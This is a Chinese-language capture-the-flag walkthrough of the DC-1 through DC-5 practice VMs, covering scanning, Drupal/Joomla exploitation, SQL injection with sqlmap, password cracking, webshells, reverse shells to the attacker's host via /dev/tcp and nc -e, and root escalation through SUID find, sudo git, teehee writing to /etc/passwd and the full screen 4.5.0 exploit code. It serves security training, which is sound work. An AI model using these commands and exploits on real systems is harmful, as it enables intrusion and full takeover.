DC靶场

DC靶场

DC-1

环境配置

DC-1

vm打开解压的DC-1.ova

输入虚拟机名称和选择存储路径,点击导入,一般会弹出导入失败的对话框,不用理,直接点击重试。导入完成之后,先不要着急开机

然后配置一下网络

image-20240819205240345

跟kali配成一样的

然后就打开kali和DC1

DC-1打开是这样的:

image-20240819235823400

我们渗透的目的就是等进去

攻击

上线

nmap参数

先扫描一下 确定一下ip和port

nmap -sP 192.168.49.1/24

image-20240821213646806

发现有三台主机

进一步扫码呢

nmap -PS -PA 192.168.49.1/24

image-20240821213731107

判断目标主机是192.168.49.129

开放端口是22 80 111

22是ssh服务,80是http,111是一个rpcbind远程调用

访问一下这个ip呢

image-20240821220542076

是一个登录界面

搜索Drupal 发现是一个CMS

image-20240821222918054

Drupal 7

直接上MSF

msfdb run

search Drupal 7

image-20240821223639283

发现有漏洞框架

用0

image-20240821224912610

只用设置rhost

set rhost 192.168.49.129

image-20240821225144291

但是没用 换一个框架呢

use1

同样的去设置rhost

咦都不行

扫描一下呢

image-20240821234541728

没有漏洞?

这个msf有点问题

换了一个kali打

image-20240825185301558

进去了

步骤还是像上面一样 就不细写了

flag1

ls一下

image-20240825185903488

发现flag1.txt

cat flag1.txt

image-20240825185946058

flag2

在flag1中看到给了一个提示

Every good CMS needs a config file - and so do you

每个好的CMS都需要一个配置文件——你也是

所以我们找一下它的配置文件

网上一搜就有

sites/default/settings.php

直接cat一下

image-20240825190645184

flag3

flag2同样给了提示

flag2

Brute force and dictionary attacks aren’t the

only ways to gain access (and you WILL need access).

What can you do with these credentials?

标志 2

暴力破解和字典攻击不是

只有获得访问权限的方法(您将需要访问权限)。

您可以使用这些凭证做什么?

注意这个cms是有个登录端口的

这个提示应该就是想让我们爆破登录

image-20240825191053184

在flag2后面还有一个数据库的信息

我们可以尝试登录一下数据库

先从mysql开始试下

这里我们需要shell一下

python -c "import pty;pty.spawn('/bin/bash')"

注意shell的命令是无法修改的

mysql -u dbuser -p

进入mysql

image-20240825193123107

show databases;

image-20240825193550801

use drupaldb;

show tables;

image-20240825193841306

发现user表

看下表里的信息

select * from users\G;

查看表的信息并纵向排列:

image-20240825194038024

admin用户

在Mysql中用户的密码是md5加密的

可以直接解密的 在cmd5上 但是要付费

image-20240825194545800

没办法 我们只要考虑修改一下密码了

我们找一下Mysql中的加密脚本呢

find . -name “*hash*”

image-20240825201833910

找到了

直接调用就行

./scripts/password-hash.sh 123456

image-20240825202156575

$S$Dt/Yo1WMT.zsriJEUyF9Qcvb3lgaMyzB1iMrSmeV2bEf1O7T1fOH

回到数据库中 改密码

update users set pass='$S$Dt/Yo1WMT.zsriJEUyF9Qcvb3lgaMyzB1iMrSmeV2bEf1O7T1fOH' where name='admin';

image-20240825203232415

注意这里要进入drupaldb里

image-20240825203505420

成功登录

image-20240825203542051

找到flag3

image-20240825203629554

flag4

Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

特殊的 PERMS 将帮助找到密码 - 但您需要 -exec 该命令来了解如何获取阴影中的内容。

我们到passwd里面找下

cat /etc/passwd

image-20240825204335560

找到flag4

image-20240825204459540

cd进去看下

image-20240825204752783

image-20240825204910890

好像是权限不够

flag5

这里我们不能上传文件

linux提权的话这里我们考虑用suid提权

image-20240825213634778

发现了find文件

find 提权

find /usr/bin/find -exec "/bin/bash" -p \;

image-20240825214701841

最后找到root文件夹

image-20240825214807737

这就是全部的flag了

DC-2

环境配置跟DC1一模一样

这里就不写了 把靶机下下来 改一下网络连接就行

flag1

先扫秒吧

arp-scan -l

扫描同网段的所有ip

image-20240825222157985

image-20240825224044836

靶机地址是

192.168.31.75

具体扫下

nmap -sV -p- 192.168.31.75

image-20240825224257511

开了两个端口啊

访问一下呢

image-20240825224459463

访问ip访问不到

nmap -A 192.168.31.75

image-20240825224714530

可以看到80没有重定向到域名

我们需要设置hosts文件 添加:

192.168.31.75 dc-2

image-20240825225241616

vi /etc/hosts

image-20240825225429911

image-20240825230713892

登录成功

发现flag1

image-20240825231238995

flag2

Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.

你通常的单词表可能不起作用,所以,也许你只需要保持清醒。
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。

提示需要我们寻找密码和用户

whatweb一下

image-20240825230928238

发现是wordpress

现在我们要找一下哪里有登录接口

dirsearch一下

dirsearch -u http://192.168.31.75

image-20240826143504495

看到有登录接口

image-20240826143855041

百度上搜索wordpress发现有漏洞工具–wpscan

kali上自带wpscan

使用

wpscan --url dc-2 -e u

image-20240826144326975

看到有三个用户名

我们把他存在一个txt文件中

image-20240826145546218

接下来就是爆破密码了

看到提示中有Cewl

使用这个

Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。

cewl http://dc-2/ -w /home/kali/Desktop/password.txt

根据url生成字典

image-20240826145306781

现在 我们密码账号都有了

直接爆破

这里我们可以使用BP爆破

但是这里是wordpress 所以我们还可以用wpscan

wpscan --url http://dc-2 -U name.txt -P password.txt

image-20240826150104609

扫出来两个

Username: jerry, Password: adipiscing
Username: tom, Password: parturient

登录

jerry登录成功

找到flag2

image-20240826150719609

flag3

If you can’t exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。

wordpress是http接口来的

但是我们扫描出的还有ssh接口–7744

刚刚我们是jerry登录的

现在我们试下tom

ssh登录

ssh tom@192.168.31.75 -p 7744

登录成功

image-20240826151656580

看下权限呢

image-20240826151750030

发现被rbash了

rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。简单来说,区别于一般的shell,它会限制一些行为,让一些命令无法执行。

先看下有哪些命令能用

compgen -c

image-20240826152306063

echo $PATH

echo /home/tom/usr/bin/*

image-20240826152414405

两个命令都可以啊

看到有vi和less

ls一下

image-20240826152541618

看下能不能直接看

less flag3.txt

image-20240826152634899

flag4

虽然我们拿到了flag3

flag3

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。

但是我们仍没有绕过rbash

flag3提示要用su

su是用来切换账户的

所以

su jerry

但是我们没有su的使用权限

所以我们还是要绕rbash

两个方法可以绕rbash

法1

vi

vi写入

:set shell=/bin/bash

:shell

回车退出vi

设置环境变量
export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin/

image-20240826153620295

如果没有设置环境变量还是不行

image-20240826153745751

因为系统找不到该用的shell

image-20240826153910453

成功

法2

执行X的时候相等于在执行shell

BASH_CMDS[x]=/bin/bash

或者

BASH_CMDS[x]=/bin/sh;x

设置环境变量

export PATH=$PATH:/bin/

export PATH=$PATH:/usr/bin

image-20240826154740963

绕过了就

su jerry

image-20240826154913327

登录成功

image-20240826155140115

找到flag4

flag5

Good to see that you’ve made it this far - but you’re not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you’re on your own now. :-)
Go on - git outta here!!!!
很高兴看到你已经走了这么远——但你还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)
这里没有提示——你现在要靠自己了。:-)
走吧,离开这里!!!!

应该是要提权了

linux的话还是suid提权

find / -user root -perm -4000 -print 2>/dev/null

找下suid文件

image-20240826155624806

看来不是suid提权

回头看下提示发现提示git

可能是sudo提权

看下有什么root权限的命令吧

sudo -l

image-20240826155937267

果然是git

sudo git help config

然后直接输入:

!/bin/hash

回车

image-20240826160958018

提权成功

找到最终flag

image-20240826161140239

DC-3

flag1

先信息收集吧

arp-scan -l

image-20240826172352845

靶机地址是192.168.31.189

具体扫下

nmap -sV -p- 192.168.31.189

image-20240826172602396

发现只开放了80端口

访问一下

image-20240826172740235

只有1个flag啊 还要提权

whatweb一下

whatweb http://192.168.31.189

image-20240826173951214

Joomla

dirsearch扫一下

dirsearch -u http://192.168.31.189

image-20240826174635096

看到一个可疑路径

192.168.31.189/administrator/

image-20240826174714028

一个登录接口

我们可以用joomla扫描工具扫一下

apt install joomscan

joomscan -u 192.168.31.189

image-20240826181117205

msf是不能直接上线的

所以我们用searchsploit

searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。

image-20240826181517824

发现一个sql注入漏洞

我们看下这个漏洞的exp

searchsploit -p 42033.txt

image-20240826181804660

image-20240826181908127

不用访问url也行

cat /usr/share/exploitdb/exploits/php/webapps/42033.txt

image-20240826182035444

多种exp可用

这里我们用sqlmap

sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

image-20240826182623323

查表

sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]

image-20240826185653985

查列

sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]

image-20240826190041707

查字段

sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password,username" --dump -p list[fullordering]

image-20240826190157952

账户:admin

密码:$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

kali自带解密工具john解密一下

放到一个txt文件中

john /home/kali/Desktop/ppassword.txt

john --show /home/kali/Desktop/ppassword.txt

image-20240826190643719

所以

账户:admin

密码:snoopy

登录

image-20240826191200206

找到一个可以上传文件的地方

image-20240826192006937

image-20240826192556996

蚁剑连接

image-20240826192859554

看下权限

image-20240826193016872

普通权限

现在我们需要提权

这台linux我们有webshell权限

考虑内核提取

看下版本

uname -r

uname -a

image-20240826193238343

ubuntu的

传个信息收集的脚本上去扫下

image-20240826194547849

有脏牛啊

先试下脏牛

image-20240826195359518

没提上去啊

先给它搞到msf上

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.63 LPORT=6363 > shelll.php

image-20240826233931635

上传到靶机

开监听

访问一下shelll.php

上线

image-20240826234752401

python -c “import pty;pty.spawn(‘/bin/sh’)”

我这个shell有点问题

image-20240827000742465

换种方法呢

weevely http://192.168.31.189/templates/beez3/language/shell.php pass

weevely是Linux中的菜刀

weevely generate test test.php # 其中test为连接密码,test.php为路径 生成木马

http://192.168.31.189/templates/beez3/pp.php

多种方式尝试最后只能反弹shll

<?php system ("bash -c 'bash -i >& /dev/tcp/192.168.31.63/4444 0>&1'"); ?>

nc lvp 4444

image-20240827003057606

用serachsploit找下

searchsploit ubuntu 16.04 linux

image-20240827003544060

用这个吧

cat /usr/share/exploitdb/exploits/linux/local/39772.txt

image-20240827003631580

下载一下exp

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

image-20240827003820102

在39772.zip目录开下http

php -S 0.0.0.0:9696

get http://192.168.31.63:9696/39772.zip

image-20240827004224216

image-20240827004236992

解压

image-20240827004343968

按照说明

cd 39772 tar -xvf exploit.tar cd ebpf_mapfd_doubleput_exploit chmod 777 * ./compile.sh ./doubleput

拿下

image-20240827004845669

image-20240827004816423

DC-4

扫描吧

多种方法都可以

arp-scan -l

image-20240827170704937

靶机ip:192.168.31.179

具体扫下

nmap -sV -p- 192.168.31.179

image-20240827170937411

可以看到开放了两个端口

访问一下

image-20240827171055947

一个登录接口

whatweb看下

whatweb 192.168.31.179

image-20240827171324364

没有什么有用信息啊

那就只用从这个接口下手了

爆破一下

猜测用户名admin

image-20240827172653313

成功爆破出密码是happy

登录

image-20240827172846663

可以列出文件

image-20240827173038890

ls -l

可能能执行命令

我们抓这个run试下

image-20240827173506373

果然是ls -l

看看能不能执行我们的命令

image-20240827173657730

执行成功了

执行个反弹shell到kali吧

这样看着不爽

nc 192.168.31.63 6363 -e/bin/bash

上线

image-20240827174312426

shell一下吧

python3 -c "import pty;pty.spawn('/bin/bash')"

image-20240827174359240

成功

image-20240827174719765

看到有三个用户

进去看下

image-20240827175053007

在jim里面发现了old-passwords.bak

我们把密码拿下来爆破一下

image-20240827180207887

用hydra爆破密码

hydra -L user.dic -P passwd.bak ssh://192.168.31.179 -vV -o hydra.ssh

-L user.dic: 指定用户名列表

-P passwd.bak:指定密码列表

ssh://192.168.40.163:指定爆破得IP地址

-vV:设置 hydra 为详细模式,显示更多的输出信息

-o:hydra.ssh:将结果输出到名为hydra.ssh的文件中

最终结果

image-20240827181137114

用户名:jim 密码:jibril04

这样的话我们就ssh登录一下

ssh jim@192.168.31.179 -p 22

image-20240827181315069

登录成功

image-20240827181609567

这里提示jim有一封邮件

找下邮件呢

image-20240827182221902

在mail下有jim

看下

image-20240827182334555

发现密码

^xHhA&hvim0y

所以我们又得到一组密码

charles
^xHhA&hvim0y

再ssh登录一下

ssh charles@192.168.31.179 -p 22

image-20240827182635269

登录成功

先看下权限吧

sudo -l

image-20240827182921401

发现使用/usr/bin/teehee 切换到root权限是不需要密码

这里我们需要使用teehee提权

teehee提权

teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权

核心思路就是利用其在passwd文件中追加一条uid为0的用户条目

echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su raaj就可以登录到raaj用户,这个用户因为uid为0,所以也是root权限

所以

sudo teehee -a /etc/passwd

image-20240827184315699

然后

ABC::0:0:::/bin/bash

ctrl+c

su ABC

image-20240827184727040

也可直接使用:echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj来提权

DC-5

信息收集吧

arp-scan -l

image-20240827185914970

所以靶机ip

192.168.31.127

具体扫下

nmap -sV -p- 192.168.31.127

image-20240827190141995

开放了2个端口

访问一下吧

image-20240827190443986

没啥用

whatweb看下呢

image-20240827190647365

没啥用

dirsearch扫下呢

image-20240827191351999

有几个php文件

访问看看呢

contact.php

image-20240827192351830

页面有个submit

footer.php

image-20240827192700712

页面的数字在刷新之后会变化

thankyou.php

image-20240827192900080

刷新数字会变

可能thankyou.php和footer.php有点关系

image-20240828142057922

我们抓下thankyou.php呢

爆破一下服务器变量名 试下文件包含

这里用bp自带的字典

image-20240828143937656

确实有的

image-20240828144106705

变量名是file

image-20240828144221519

确实有文件包含

又由前面得知是nginx服务器,所以可以尝试包含日志access.log

访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。

位置:/var/log/nginx/access.log (Nginx服务器)

错误日志目录:/var/log/nginx/error.log

image-20240828144445228

包含成功

这样的话 我们就可以上传一句话木马了

直接上传就行

image-20240828150411695

再看下日志呢

image-20240828150851150

上传成功

蚁剑连接

这里蚁剑如果返回空 可以试下UA传一句话木马

image-20240828152954904

好 我们现在反弹shell到kali上来

nc -lvnp 6363

nc -e /bin/bash 192.168.31.63 6363

image-20240828153406740

python弄个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

image-20240828153540213

先看下sudo呢

sudo -l

image-20240828153644026

不行

那我们看下suid呢

find / -user root -perm -4000 -print 2>/dev/null

image-20240828153748809

没有我们需要的关键字

说明suid提权不行

那我们看看这里面有没有漏洞 用searchsploit

找到这个

searchsploit screen 4.5.0

image-20240828154013201

我们根据这个poc来打

searchsploit -p 41152.txt

image-20240828154948856

searchsploit screen 4.5.0 -m 41154.txt

image-20240828162122495

没啥用

我们看看那个sh文件

cat /usr/share/exploitdb/exploits/linux/local/41154.sh

这个也可以

searchsploit -x linux/local/41154.sh

image-20240828162452256

有东西

简单来讲就是新建 libhax.c 和 rootshell.c 两个文件。把对应的内容写进去,然后编译,再把把最下方的内容存储到.sh文件里面,上传到靶机的/tmp目录里面执行即可

按照要求先在kali将41154.sh中上面面一部分c语言代码另存为libhax.c文件,内容如下

#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}

image-20240828162749519

gcc -fPIC -shared -ldl -o libhax.so libhax.c

编译

image-20240828162856519

将41154.sh中下面一部分c语言代码另存为rootshell.c,内容如下

#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}

编译

gcc -o rootshell rootshell.c

image-20240828163023495

除去c语言部分,将剩下的内容另存为dc5.sh

#!/bin/bash
# screenroot.sh
# setuid screen v4.5.0 local root exploit
# abuses ld.so.preload overwriting to get root.
# bug: https://lists.gnu.org/archive/html/screen-devel/2017-01/msg00025.html
# HACK THE PLANET
# ~ infodox (25/1/2017)
echo "~ gnu/screenroot ~"
echo "[+] First, we create our shell and library..."
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell

image-20240828163403846

好 我们把这些文件放到目标主机上 /tmp路径里

image-20240828163754024

cd到tmp目录

看下权限

image-20240828163946017

给dc5.sh赋权

chmod 777 dc5.sh

./dc5.sh

image-20240828164739597

这里提权失败了,,这里发现是 GLBC的版本不对,导致编译出来的文件不能成功提权

我Kali的GLBC版本太高了 不能超过2.3.4

image-20240828164902143

靶机的可以

image-20240828164959362

我们把rootshell.c放给靶机 让靶机编译

可以了

image-20240828165617307

成功

image-20240828170413595